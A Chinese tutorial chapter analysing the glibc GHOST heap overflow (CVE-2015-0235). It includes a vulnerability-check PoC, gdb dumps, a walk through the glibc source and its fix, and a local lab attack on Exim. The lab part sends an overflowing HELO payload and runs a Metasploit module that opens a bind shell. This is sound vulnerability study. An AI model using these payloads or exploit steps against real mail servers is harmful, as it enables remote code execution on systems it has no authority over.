7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞

下载文件

漏洞描述

glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST,发生的原因是函数 __nss_hostname_digits_dots() 存在缓冲区溢出,可以通过 gethostbyname*() 系列函数触发,最容易的攻击入口是邮件服务器,攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.17。

漏洞复现

推荐使用的环境 备注
操作系统 Ubuntu 12.04 体系结构:64 位
调试器 gdb-peda 版本号:7.4
漏洞软件 glibc 版本号:2.15
受影响软件 Exim4 版本号:4.80

通过下面的 PoC 可以知道自己的系统是否受到影响:

  1. #include <netdb.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <errno.h>
  6. #define CANARY "in_the_coal_mine"
  7. struct {
  8. char buffer[1024];
  9. char canary[sizeof(CANARY)];
  10. } temp = { "buffer", CANARY };
  11. int main(void) {
  12. struct hostent resbuf;
  13. struct hostent *result;
  14. int herrno;
  15. int retval;
  16. /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  17. size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  18. char name[sizeof(temp.buffer)];
  19. memset(name, '0', len);
  20. name[len] = '\0';
  21. retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
  22. if (strcmp(temp.canary, CANARY) != 0) {
  23. puts("vulnerable");
  24. exit(EXIT_SUCCESS);
  25. }
  26. if (retval == ERANGE) {
  27. puts("not vulnerable");
  28. exit(EXIT_SUCCESS);
  29. }
  30. puts("should not happen");
  31. exit(EXIT_FAILURE);
  32. }
  1. $ file /lib/x86_64-linux-gnu/libc-2.15.so
  2. /lib/x86_64-linux-gnu/libc-2.15.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=0x7c4f51534761d69afd01ac03d3c9bc7ccd21f6c6, for GNU/Linux 2.6.24, stripped
  3. $ gcc -g poc.c
  4. $ ./a.out
  5. vulnerable

很明显是存在漏洞的。简单解释一下 PoC,在栈上布置一个区域 temp,由 buffer 和 canary 组成,然后初始化一个 name,最后执行函数 gethostbyname_r(),正常情况下,当把 name+*host_addr+*h_addr_ptrs+1 复制到 buffer 时,会正好覆盖缓冲区且没有溢出。然而,实际情况并不是这样。

函数 gethostbyname_r()include/netdb.h 中定义如下:

  1. struct hostent {
  2. char *h_name; /* official name of host */
  3. char **h_aliases; /* alias list */
  4. int h_addrtype; /* host address type */
  5. int h_length; /* length of address */
  6. char **h_addr_list; /* list of addresses */
  7. }
  8. #define h_addr h_addr_list[0] /* for backward compatibility */
  9. int gethostbyname_r(const char *name,
  10. struct hostent *ret, char *buf, size_t buflen,
  11. struct hostent **result, int *h_errnop);
  • name:网页的 host 名称
  • ret:成功时用于存储结果
  • buf:临时缓冲区,存储过程中的各种信息
  • buflen:缓冲区大小
  • result:成功时指向 ret
  • h_errnop:存储错误码

执行前:

  1. gdb-peda$ x/6gx temp.buffer
  2. 0x601060 <temp>: 0x0000726566667562 0x0000000000000000 <-- buffer <-- host_addr
  3. 0x601070 <temp+16>: 0x0000000000000000 0x0000000000000000 <-- h_addr_ptrs
  4. 0x601080 <temp+32>: 0x0000000000000000 0x0000000000000000 <-- hostname
  5. gdb-peda$ x/20gx temp.canary-0x10
  6. 0x601450 <temp+1008>: 0x0000000000000000 0x0000000000000000
  7. 0x601460 <temp+1024>: 0x635f6568745f6e69 0x656e696d5f6c616f <-- canary
  8. 0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000

执行后:

  1. gdb-peda$ x/6gx temp.buffer
  2. 0x601060 <temp>: 0x0000000000000000 0x0000000000000000 <-- buffer <-- host_addr
  3. 0x601070 <temp+16>: 0x0000000000601060 0x0000000000000000 <-- h_addr_ptrs
  4. 0x601080 <temp+32>: 0x0000000000000000 0x3030303030303030 <-- h_alias_ptr, hostname
  5. gdb-peda$ x/6gx temp.canary-0x10
  6. 0x601450 <temp+1008>: 0x3030303030303030 0x3030303030303030
  7. 0x601460 <temp+1024>: 0x0030303030303030 0x656e696d5f6c616f <-- canary
  8. 0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000

canary 被覆盖了 8 个字节,即溢出了 8 个字节。

漏洞分析

  1. grep -irF '__nss_hostname_digits_dots' ./*
  2. ./CANCEL-FCT-WAIVE:__nss_hostname_digits_dots
  3. ./ChangeLog.12: * nss/Versions (libc): Add __nss_hostname_digits_dots to GLIBC_2.2.2.
  4. [...]
  5. ./nss/getXXbyYY.c: if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
  6. ./nss/digits_dots.c:__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
  7. ./nss/digits_dots.c:libc_hidden_def (__nss_hostname_digits_dots)
  8. ./nss/getXXbyYY_r.c: switch (__nss_hostname_digits_dots (name, resbuf, &buffer, NULL,

通过搜索漏洞函数我们发现,函数是从 glibc-2.2.2 开始引入的,且仅在 getXXbyYY.c 和 getXXbyYY_r.c 中被使用,且需要 HANDLE_DIGITS_DOTS 被定义:

  1. // inet/gethstbynm.c
  2. #define NEED_H_ERRNO 1
  3. // nss/getXXbyYY_r.c
  4. #ifdef HANDLE_DIGITS_DOTS
  5. if (buffer != NULL)
  6. {
  7. if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
  8. &buffer_size, 0, &result, NULL, AF_VAL,
  9. H_ERRNO_VAR_P))
  10. goto done;
  11. }
  12. #endif

具体程序如下(来自glibc-2.17):

  1. // nss/digits_dots.c
  2. int
  3. __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
  4. char **buffer, size_t *buffer_size,
  5. size_t buflen, struct hostent **result,
  6. enum nss_status *status, int af, int *h_errnop)
  7. {
  8. [...]
  9. if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
  10. {
  11. const char *cp;
  12. char *hostname;
  13. typedef unsigned char host_addr_t[16];
  14. host_addr_t *host_addr;
  15. typedef char *host_addr_list_t[2];
  16. host_addr_list_t *h_addr_ptrs;
  17. char **h_alias_ptr;
  18. size_t size_needed;
  19. [...]
  20. // size_needed 决定了缓冲区的大小,即 *host_addr+*h_addr_ptrs+name+1 (1存储结尾的'\0')
  21. size_needed = (sizeof (*host_addr)
  22. + sizeof (*h_addr_ptrs) + strlen (name) + 1);
  23. if (buffer_size == NULL) // 重入分支
  24. {
  25. if (buflen < size_needed)
  26. {
  27. [...]
  28. goto done;
  29. }
  30. }
  31. else if (buffer_size != NULL && *buffer_size < size_needed) // 非重入分支
  32. {
  33. char *new_buf;
  34. *buffer_size = size_needed;
  35. new_buf = (char *) realloc (*buffer, *buffer_size); // 重新分配缓冲区,以保证其足够大
  36. if (new_buf == NULL)
  37. {
  38. [...]
  39. goto done;
  40. }
  41. *buffer = new_buf;
  42. }
  43. [...]
  44. // 但这里在计算长度时却是 host_addr+h_addr_ptrs+h_alias_ptr+hostname
  45. // 与缓冲区相差了一个 h_alias_ptr,64 位下为 8 字节
  46. host_addr = (host_addr_t *) *buffer;
  47. h_addr_ptrs = (host_addr_list_t *)
  48. ((char *) host_addr + sizeof (*host_addr));
  49. h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
  50. hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);
  51. if (isdigit (name[0]))
  52. {
  53. for (cp = name;; ++cp)
  54. {
  55. if (*cp == '\0')
  56. {
  57. int ok;
  58. if (*--cp == '.')
  59. break;
  60. [...]
  61. if (af == AF_INET)
  62. ok = __inet_aton (name, (struct in_addr *) host_addr);
  63. else
  64. {
  65. assert (af == AF_INET6);
  66. ok = inet_pton (af, name, host_addr) > 0;
  67. }
  68. if (! ok)
  69. {
  70. [...]
  71. goto done;
  72. }
  73. resbuf->h_name = strcpy (hostname, name); // 复制 name 到 hostname,触发缓冲区溢出
  74. [...]
  75. goto done;
  76. }
  77. if (!isdigit (*cp) && *cp != '.')
  78. break;
  79. }
  80. }

注释已经在代码中了,也就是实际需要的缓冲区长度与所申请的缓冲区长度不一致的问题。当然想要触发漏洞,需要满足下面几个条件:

  • name 的第一个字符必须是数字
  • name 的最后一个字符不能是 “.”
  • name 的所有字符只能是数字或者 “.”
  • 必须是 IPv4 地址且必须是这些格式中的一种:”a.b.c.d”,”a.b.c”,”a”,且 a,b,c,d 均不能超过无符号整数的最大值,即 0xffffffff

对比一下 glibc-2.18 的代码,也就是把 h_alias_ptr 的长度加上了,问题完美解决:

  1. size_needed = (sizeof (*host_addr)
  2. + sizeof (*h_addr_ptrs)
  3. + sizeof (*h_alias_ptr) + strlen (name) + 1);

Exim exploit

  1. $ sudo apt-get install libpcre3-dev
  2. $ git clone https://github.com/Exim/exim.git
  3. $ cd exim/src
  4. $ git checkout exim-4_80
  5. $ mkdir Local
  6. $ cp src/EDITME Local/Makefile
  7. $ #修改 Makefile 中的 EXIM_USER=你的用户名
  8. $ #注释掉 EXIM_MONITOR=eximon.bin
  9. $ #然后取消掉 PCRE_LIBS=-lpcre 的注释
  10. $ make && sudo make install

最后为了能够调用 smtp_verify_helo(),在 Exim 的配置文件中必须开启 helo_verify_hostshelo_try_verify_hosts。在文件 /var/lib/exim4/config.autogenerated 中的 acl_smtp_mail 一行下面加上 helo_try_verify_hosts = * 或者 helo_verify_hosts = *

  1. acl_smtp_mail = MAIN_ACL_CHECK_MAIL
  2. helo_try_verify_hosts = *

更新并重启软件即可:

  1. $ update-exim4.conf
  2. $ exim4 -bP | grep helo_try
  3. helo_try_verify_hosts = *
  4. $ sudo /etc/init.d/exim4 stop
  5. $ sudo /usr/exim/bin/exim -bdf -d+all

这样就把程序以 debug 模式开启了,之后的所有操作都会被打印出来,方便观察。还是为了方便(懒),后续的所有操作都只在本地执行。

先简单地看一下 Exim 处理 HELO 命令的过程,在另一个 shell 里,使用 telenet 连接上 Exim,根据前面的限制条件随便输入点什么:

  1. $ telnet 127.0.0.1 25
  2. Trying 127.0.0.1...
  3. Connected to 127.0.0.1.
  4. Escape character is '^]'.
  5. 220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 16:58:37 +0800
  6. HELO 0123456789
  7. 250 firmy-VirtualBox Hello localhost [127.0.0.1]
  8. ^CConnection closed by foreign host.
  9. firmy@firmy-VirtualBox:~$ telnet 127.0.0.1 25
  10. Trying 127.0.0.1...
  11. Connected to 127.0.0.1.
  12. Escape character is '^]'.
  13. 220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 17:00:47 +0800
  14. HELO 0123456789
  15. 250 firmy-VirtualBox Hello localhost [127.0.0.1]

结果如下:

  1. 17:00:47 5577 Process 5577 is ready for new message
  2. 17:00:47 5577 smtp_setup_msg entered
  3. 17:00:55 5577 SMTP<< HELO 0123456789
  4. 17:00:55 5577 sender_fullhost = localhost (0123456789) [127.0.0.1]
  5. 17:00:55 5577 sender_rcvhost = localhost ([127.0.0.1] helo=0123456789)
  6. 17:00:55 5577 set_process_info: 5577 handling incoming connection from localhost (0123456789) [127.0.0.1]
  7. 17:00:55 5577 verifying EHLO/HELO argument "0123456789"
  8. 17:00:55 5577 getting IP address for 0123456789
  9. 17:00:55 5577 gethostbyname2(af=inet6) returned 1 (HOST_NOT_FOUND)
  10. 17:00:55 5577 gethostbyname2(af=inet) returned 1 (HOST_NOT_FOUND)
  11. 17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
  12. 17:00:55 5577 LOG: host_lookup_failed MAIN
  13. 17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
  14. 17:00:55 5577 HELO verification failed but host is in helo_try_verify_hosts
  15. 17:00:55 5577 SMTP>> 250 firmy-VirtualBox Hello localhost [127.0.0.1]

可以看到它最终调用了 gethostbyname2() 函数来解析来自 SMTP 客户端的数据包。具体代码如下:github

  1. // src/src/smtp_in.c
  2. int
  3. smtp_setup_msg(void)
  4. {
  5. [...]
  6. while (done <= 0)
  7. {
  8. [...]
  9. switch(smtp_read_command(TRUE))
  10. {
  11. [...]
  12. case HELO_CMD:
  13. HAD(SCH_HELO);
  14. hello = US"HELO";
  15. esmtp = FALSE;
  16. goto HELO_EHLO;
  17. case EHLO_CMD:
  18. HAD(SCH_EHLO);
  19. hello = US"EHLO";
  20. esmtp = TRUE;
  21. // 当 SMTP 命令为 HELO 或 EHLO 时,执行下面的过程
  22. HELO_EHLO: /* Common code for HELO and EHLO */
  23. cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
  24. cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
  25. /* Reject the HELO if its argument was invalid or non-existent. A
  26. successful check causes the argument to be saved in malloc store. */
  27. if (!check_helo(smtp_cmd_data)) // 检查 HELO 的格式必须是 IP 地址
  28. {
  29. [...]
  30. break;
  31. }
  32. [...]
  33. helo_verified = helo_verify_failed = FALSE;
  34. if (helo_required || helo_verify)
  35. {
  36. BOOL tempfail = !smtp_verify_helo(); // 验证 HELO 是否有效
  37. if (!helo_verified)
  38. {
  39. if (helo_required)
  40. {
  41. [...]
  42. }
  43. HDEBUG(D_all) debug_printf("%s verification failed but host is in "
  44. "helo_try_verify_hosts\n", hello);
  45. }
  46. }

继续看函数 smtp_verify_helo()

  1. // src/src/smtp_in.c
  2. BOOL
  3. smtp_verify_helo(void)
  4. {
  5. [...]
  6. if (!helo_verified)
  7. {
  8. int rc;
  9. host_item h;
  10. h.name = sender_helo_name;
  11. h.address = NULL;
  12. h.mx = MX_NONE;
  13. h.next = NULL;
  14. HDEBUG(D_receive) debug_printf("getting IP address for %s\n",
  15. sender_helo_name);
  16. rc = host_find_byname(&h, NULL, 0, NULL, TRUE);
  17. if (rc == HOST_FOUND || rc == HOST_FOUND_LOCAL)
  18. [....]
  19. }
  20. }
  1. // src/src/host.c
  2. int
  3. host_find_byname(host_item *host, uschar *ignore_target_hosts, int flags,
  4. uschar **fully_qualified_name, BOOL local_host_check)
  5. {
  6. [...]
  7. for (i = 1; i <= times;
  8. #if HAVE_IPV6
  9. af = AF_INET, /* If 2 passes, IPv4 on the second */
  10. #endif
  11. i++)
  12. {
  13. [...]
  14. #if HAVE_IPV6
  15. if (running_in_test_harness)
  16. hostdata = host_fake_gethostbyname(host->name, af, &error_num);
  17. else
  18. {
  19. #if HAVE_GETIPNODEBYNAME
  20. hostdata = getipnodebyname(CS host->name, af, 0, &error_num);
  21. #else
  22. hostdata = gethostbyname2(CS host->name, af);
  23. error_num = h_errno;
  24. #endif
  25. }
  26. #else /* not HAVE_IPV6 */
  27. if (running_in_test_harness)
  28. hostdata = host_fake_gethostbyname(host->name, AF_INET, &error_num);
  29. else
  30. {
  31. hostdata = gethostbyname(CS host->name);
  32. error_num = h_errno;
  33. }
  34. #endif /* HAVE_IPV6 */

函数 host_find_byname 调用了 gethostbyname()gethostbyname2() 分别针对 IPv4 和 IPv6 进行处理,也就是在这里可以触发漏洞函数。

这一次我们输入这样的一串字符,即可导致溢出:

  1. $ python -c "print 'HELO ' + '0'*$((0x500-16*1-2*8-1-8))"

但是程序可能还是正常在运行的,我们多输入执行几次就会触发漏洞,发生段错误,连接被断开。

  1. Connection closed by foreign host.
  1. $ dmesg | grep exim
  2. [28929.172015] traps: exim4[3288] general protection ip:7fea41465c1d sp:7fff471f0dd0 error:0 in libc-2.15.so[7fea413f6000+1b5000]
  3. [28929.493632] traps: exim4[3301] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
  4. [28929.562113] traps: exim4[3304] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
  5. [28929.631573] exim4[3307]: segfault at 100000008 ip 00007fea42e2d226 sp 00007fff471e8b50 error 4 in exim4[7fea42db6000+dc000]

其实对于 Exim 的攻击已经集成到了 Metasploit 框架中,我们来尝试一下,正好学习一下这个强大的框架,仿佛自己也可以搞渗透测试。先关掉debug模式的程序,重新以正常的样子打开:

  1. $ /etc/init.d/exim4 restart
  1. msf > search exim
  2. Matching Modules
  3. ================
  4. Name Disclosure Date Rank Description
  5. ---- --------------- ---- -----------
  6. exploit/linux/smtp/exim4_dovecot_exec 2013-05-03 excellent Exim and Dovecot Insecure Configuration Command Injection
  7. exploit/linux/smtp/exim_gethostbyname_bof 2015-01-27 great Exim GHOST (glibc gethostbyname) Buffer Overflow
  8. exploit/unix/local/exim_perl_startup 2016-03-10 excellent Exim "perl_startup" Privilege Escalation
  9. exploit/unix/smtp/exim4_string_format 2010-12-07 excellent Exim4 string_format Function Heap Buffer Overflow
  10. exploit/unix/webapp/wp_phpmailer_host_header 2017-05-03 average WordPress PHPMailer Host Header Command Injection
  11. msf > use exploit/linux/smtp/exim_gethostbyname_bof
  12. msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1
  13. RHOST => 127.0.0.1
  14. msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1
  15. SENDER_HOST_ADDRESS => 127.0.0.1
  16. msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat
  17. payload => cmd/unix/bind_netcat
  18. msf exploit(linux/smtp/exim_gethostbyname_bof) > show options
  19. Module options (exploit/linux/smtp/exim_gethostbyname_bof):
  20. Name Current Setting Required Description
  21. ---- --------------- -------- -----------
  22. RHOST 127.0.0.1 yes The target address
  23. RPORT 25 yes The target port (TCP)
  24. SENDER_HOST_ADDRESS 127.0.0.1 yes The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)
  25. Payload options (cmd/unix/bind_netcat):
  26. Name Current Setting Required Description
  27. ---- --------------- -------- -----------
  28. LPORT 4444 yes The listen port
  29. RHOST 127.0.0.1 no The target address
  30. Exploit target:
  31. Id Name
  32. -- ----
  33. 0 Automatic
  34. msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit
  35. [*] Started bind handler
  36. [*] 127.0.0.1:25 - Checking if target is vulnerable...
  37. [+] 127.0.0.1:25 - Target is vulnerable.
  38. [*] 127.0.0.1:25 - Trying information leak...
  39. [+] 127.0.0.1:25 - Successfully leaked_arch: x64
  40. [+] 127.0.0.1:25 - Successfully leaked_addr: 7fea43824720
  41. [*] 127.0.0.1:25 - Trying code execution...
  42. [+] 127.0.0.1:25 - Brute-forced min_heap_addr: 7fea438116cb
  43. [+] 127.0.0.1:25 - Brute-force SUCCESS
  44. [+] 127.0.0.1:25 - Please wait for reply...
  45. [*] Command shell session 1 opened (127.0.0.1:34327 -> 127.0.0.1:4444) at 2018-01-26 17:29:07 +0800
  46. whoami
  47. Debian-exim
  48. id
  49. uid=115(Debian-exim) gid=125(Debian-exim) groups=125(Debian-exim)

Bingo!!!成功获得了一个反弹 shell。

对于该脚本到底是怎么做到的,本人水平有限,还有待分析。。。

参考资料